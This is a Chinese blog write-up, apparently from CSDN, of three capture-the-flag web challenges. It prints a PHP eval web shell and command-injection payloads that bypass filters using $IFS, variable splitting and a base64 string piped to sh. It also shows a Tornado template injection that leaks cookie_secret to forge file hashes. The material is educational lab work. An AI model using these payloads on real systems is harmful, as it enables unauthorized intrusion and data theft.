CTF第三天

本文讲述了在极客大挑战2019的Knife1任务中,通过变量拼接和特殊字符利用技巧绕过字符串过滤,成功连接蚁剑并找到flag。在护网杯2018的easy_tornado1中,通过模板注入和cookie_secret的破解,最终获取flag文件。
摘要由CSDN通过智能技术生成

[极客大挑战 2019]Knife 1

进去以后,看到这个页面,猜想要用蚁剑
在这里插入图片描述

//eval — 把字符串bai作为PHP代码执行 
eval('echo 123;');//输出123
eval($_POST["Syc"]);//上传一个字符串Sys

打开蚁剑,添加URL,密码为Sys
在这里插入图片描述
连接后在根目录找到flag
在这里插入图片描述
[GXYCT

[GXYCTF2019]Ping Ping Ping 1

进去后看到这个一个查询ip的格式,我们可以用这个来输入命令
在这里插入图片描述
首先输入/?ip=127.0.0.1|ls,发现了两个目录
在这里插入图片描述
试试/?ip=127.0.0.1|cat flag.php,空格被ban了
在这里插入图片描述
用$IFS 9 来 代 替 空 格 , 数 字 可 以 用 1 − 9 ( 如 9来代替空格,数字可以用1-9(如 919IFS$1也一样可以绕过)

/?ip=127.0.0.1|cat$IFS$9flag.php

但是flag也被ban了,去index.php看看
在这里插入图片描述
在这里插入图片描述
我们发现基本上全被ban了
通过变量实现字符串拼接
解题思路
1.通过变量实现字符串拼接
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
注:此处将变量ab的位置互换是为了绕过字符串匹配

2.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

在这里插入图片描述

[护网杯 2018]easy_tornado 1

进去flag.txt看看,发现要读取/fllllllllllllag,并且要相关的hash
在这里插入图片描述
看看这个路径
在这里插入图片描述
看看有没有模板注入,输入/error?msg={{9*3}}返回ORZ,不太行
输入/error?msg={{1}}返回1

去hints.txt看看,发现了hash加密的方式以及cookie_secret
在这里插入图片描述
再去welcome.txt看看,发现了render函数。render()函数是渲染函数,进行服务器端渲染。
在这里插入图片描述
Tornado框架的附属文件handler.settings中存在cookie_secret
于是构造/error?msg={{handler.settings}},返回了cookie_secret
在这里插入图片描述
cookie_secret为f28e1f96-265d-4692-80cf-587658c6dae6
filename就是/fllllllllllllag,md5解密后为3bf9f6cf685a6dd8defadabfb41a03a1
在这里插入图片描述
cookie_secret和filename连接后再进行md5加密
f28e1f96-265d-4692-80cf-587658c6dae63bf9f6cf685a6dd8defadabfb41a03a1
在这里插入图片描述

payload/file?filename=/fllllllllllllag&filehash=8fc07d4838f25f3ba330fce042f0d3df在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值